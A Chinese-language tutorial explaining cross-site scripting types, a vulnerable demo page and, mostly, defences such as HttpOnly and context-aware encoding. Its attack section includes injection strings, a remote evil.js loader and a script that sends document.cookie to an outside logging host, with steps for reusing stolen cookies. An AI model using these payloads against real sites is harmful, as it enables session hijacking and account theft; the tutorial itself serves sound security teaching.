跨站脚本攻击XSS的原理与预防

简介:

用户在浏览网站、使用即时通讯软件、甚至在阅读电子邮件时,通常会点击其中的链接。攻击者通过在链接中插入恶意代码,就能够盗取用户信息。攻击者通常会用十六进制(或其他编码方式)将链接编码,以免用户怀疑它的合法性。网站在接收到包含恶意代码的请求之后会产成一个包含恶意代码的页面,而这个页面看起来就像是那个网站应当生成的合法页面一样。许多流行的留言本和论坛程序允许用户发表包含HTMLJavaScript的帖子。假设用户甲发表了一篇包含恶意脚本的帖子,那么用户乙在浏览这篇帖子时,恶意脚本就会执行,盗取用户乙的session信息。

类型:

一.   反射型XSS(非持久型XSS

反射型XSS只是简单地把用户输入的数据“反射”给浏览器。黑客往往需要诱使用户“点击”一个恶意链接,才能攻击成功。

二.   储存型XSS(持久型XSS

存储型XSS会把用户输入的数据“存储”在服务器端。这种XSS具有很强的稳定性。如:黑客将一段恶意JavaScript代码写入博客,那么所有访问该博客的用户,都会在他们的浏览器中执行这段JavaScript代码。

三.   DOM Based XSS

这种类型的XSS并未按照“数据是否保存在服务器端”来划分,DOM Based XSS本质上也是反射型XSS。单独划分出来,是因为DOM Based XSS的形成原因比较特别。通过修改页面的DOM节点,形成的XSS,称之为DOM Based XSS

简单的XSS示例:

<html>
<head>
	<meta charset="utf-8" />
	<title></title>
</head>
<script type="text/javascript">
	function test(){
		var str = document.getElementById("text").value;
		document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>";
	}
	function getCookie(){
		alert(document.cookie);
	}
</script>
<body>
	<div id="t"></div>
	<input type="text" id="text" value="" />
	<input type="button" id="s" value="write" onclick="test()" />
</body>
</html>

该页面的本意是输入一个网址,生成一个链接如http://www.baidu.com
如果输入如下数据 ‘ onclick=alert(‘xss’) //
PS:
首先用一个单引号闭合掉href的第一个单引号,然后插入一个onclick事件,最后再用“//”注释掉第二个单引号
或者:‘><img src=# onerror=alert(‘XSS’) ><‘
PS:
先闭合掉a标签,并插入一个新的html标签
将会形成一个简单的DOM Based XSS

XSS攻击:

      个最常见的XSS Payload攻击:

         通过读取浏览器的Cookie对象,从而发起“Cookie劫持”攻击。

如下所示,攻击者先加载一个远程脚本:

http://www.a.com/test.html?abc=’’><script src=http://www.test.com/evil.js ></script>

真正的XSS Payload写在这个远程脚本中,避免直接在URL的参数里写入大量的JavaScript代码。

         evil.js中,可以通过如下代码窃取Cookie

 

         这段代码在页面中插入了一张看不见的图片,同时把document.cookie对象作为参数发送到远程服务器。

         得到cookie后,使用chrome提供的一个编辑cookie的工具 edit this cookie 可以很容易的将cookie设置到我们的浏览器中,从而完成使用别人的账号登录网站。

var img = document.createElement(“img”); 

img.src = http://www.eivl.com/log? + escape(document.cookie); 

document.body.appendChild(img); 

 

附:

IE Cookie的储存位置:

C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Cookies

Firefox Cookie 的储存位置:

C:\Users\用户名\AppData\Roaming\Mozilla\Firefox\Profiles\0s3e0psb.default

Chrome Cookie 的储存位置:

C:\Users\用户名\AppData\Local\Google\Chrome\User Data\Default

Chrome 编辑Cookie工具 edit this cookie下载地址:

https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg

XSS防御:

      1HttpOnly

         HttpOnly最早是由微软提出,并在IE6中实现的,至今已经逐渐成为一个标准。浏览器将禁止页面的JavaScript访问带有HttpOnly属性的Cookie

         服务器可能会设置多个Cookie,而HttpOnly可以有选择性的加载任何一个Cookie值上。

         PHP5中设置HttpOnly的代码如下:

         setcookie(“user_name”, “liyang”, NULL, NULL, NULL, NULL, TRUE);

         最后一个参数为HttpOnly属性。

         使用HttpOnly有助于缓解XSS攻击,但仍然需要其他能够解决XSS漏洞的方案。

         2、输出检查

 

         如:用户在网站注册时填写的用户名,一般会要求只能为字母、数字的组合,而“hello^&<”就是一个违法的用户名。

 

         这些格式检查,有点类似于一种“白名单”,可以让一些基于特殊字符的攻击失效。一般的输入检查,主要是检查用户输入的数据是否包含<”、“>”、“等。有些比较智能的输入检查,可能还会匹配XSS的特征,比如查找用户数据中是否包含了“<script>”等敏感字符。

         这种检查的方式,成为“XSS Filter”。

         XSS Filter在用户提交数据时对变量进行XSS检查,此时的用户数据并没有结合渲染页面的HTML代码,因此XSS Filter对语境的理解并不完整。

         比如下面的XSS漏洞:

<script src=”$var”></script>

         其中“$var”是用户可以控制的变量。用户只需要提交一个恶意脚本所在的URL地址,即可实施XSS攻击。

         XSS Filter在发现了“<”、“>”、“”等字符的时候,一般会进行转译或过滤。但当是下面的情况的时候,可能又会出现问题。

         用户输入的昵称如下:

         $nickname = ‘我是天才”’;

         如果在XSS Filter中对双引号进行转译:

         $nikename = ‘我是\”天才\”’;

         HTML代码中展示时:

         <div>我是\”天才\”</div>

         JavaScript代码中展示时:

         <script>

         Var nike = ‘我是\”天才\”’;

         document.wirte(nike);

         </script>

这两段代码,分别得到如下结果:

         我是\”天才\”

         我是天才

第一个结果显然不是用户想看到的。

         3、输出检查

         既然输入检查有这么多问题,那么我们来看看输出检查。

         编码分为很多种,针对HTML代码的编码方式是HtmlEncode

         HTMLEncode中至少要转换以下字符:

         &      ->      &amp;

         <       ->      &lt;

>       ->      &gt;

                ->      &quot;

                 ->      &#x27;              &apos;  IE不支持

         /        ->      &#x2F;               反斜线可能会闭合一些HTML标签

         PHP中,有htmlentities()htmlspecialchars()两个函数基本可以满足安全要求。

         Javascript中,可以使用JavascriptEncodeJavaScriptEncodeHTMLEncode的编码方法不同,它需要使用“\”对特殊字符进行特殊字符进行转义。在对抗XSS时,还要求输出的变量必须在引号内部,以避免造成安全问题。

         var x = escapeJavascript($evil);

         var y = ‘”’+ escapeJavascript($evil)+’”’;

         如果escapeJavascript函数只转义了几个危险字符,那么上面的两行代码输出后可能会变成:

         var x = 1;alert(2);

         var y = “1;alert(2)”;

第一行的alert(2);会执行,第二行则是安全的。

         有些情况下,仅仅进行一种编码,也是不够的。如:

 

        <body>

                   <a href=# onclick=”alert(‘$var’);”>test</a>

         </body>

         正常的效果是,当用户点击链接后,弹出变量“$var”的内容。

可是用户若果输入:$var = htmlencode(“’);alert(‘2”);

对变量进行HTMLEncode后的结果是:

          <body>

                   <a href=# onclick=”alert(‘&#x27;&#x29;&#x36;alert&#x28;&#x27;2’);”>test</a>

         </body>

对于浏览器来说,htmlparser会优先于JavaScript Parser执行,所以被HTMLEncode的字符先被解码,然后执行JavaScript事件。

因此,经过htmlparser解析后相当于:

          <body>

                   <a href=# onclick=”alert(‘’;alert(‘2’);”>test</a>

         </body>

         由于语境不同,XSS防御又失败了。

         4、正确的防御XSS

 

         正确的处理XSS要根据实际的语境:

1>     HTML标签中输出

使用HTMLEncode

2>     HTML属性中输出

使用HTMLEncode

3>     <script>标签中输出

script标签中输出时,首先应确保输出的变量在引号中,攻击者需要先闭合引号才能实施XSS攻击。防御时使用JavascriptEncode

4>     在事件中输出

和在script标签中输出类似,防御时需要使用JavascriptEncode

5>     CSS中输出

CSSstylestyle attribute中形成XSS的方式非常多样化,一般来说,尽可能禁止用户可控制的变量在“<sytle>”标签、“HTML标签的style属性”以及“CSS文件”中输出。如果一定要输出,推荐使用OWASP ESAPI中的encodeForCSS()函数。该函数会将除了字符、数字外的所有字符都被编码成十六进制形式“/uHH”。

6>     在地址中输出

在地址中输出也比较复杂,URLProtocalHost部分是不能使用URLEncode的,否则会改变URL的语义。

攻击者可能会构造伪协议实施攻击:

<a href=”javascript:alert(1);”>test</a>

如果变量是整个URL,则应该先检查变量是否已“http”开头(如果不是则自动添加)。

         5、处理富文本

处理富文本要从“输入检查”入手,用户提交的富文本,语义是完整的HTML代码。在过滤富文本时“事件”应该严格禁止,一些危险的标签,比如<iframe><script><base><form>等,也是应该严格禁止的。

在标签选择上,应该使用白名单,避免使用黑名单。

如果允许用户自定义CSSstyle,则也要像处理“富文本”一样过滤“CSS”。

         6、防御DOM Based XSS

      前面提到的方法都是针对“从服务器直接输出到HTML页面”的XSS漏洞,因此并不适用于DOM Based XSS

         JavaScript输出到HTML页面,也相当于一次XSS输出的过程,需要分语境使用不同的编码函数。如果是输出到事件或者脚本,则要再做一次javascriptEncode,如果是输出到HTML内容或者属性,则要做一次HTMLEncode

         所有JavaScript页面等其他地方输出到HTML的地方,都需要注意,如:

         document.write()

         document.writeln()

         xxx.innerHTML()

         xxx.attachEvent()

         页面中的所有input

         window.location()

         window.name

         window.cookie

         ……

         等。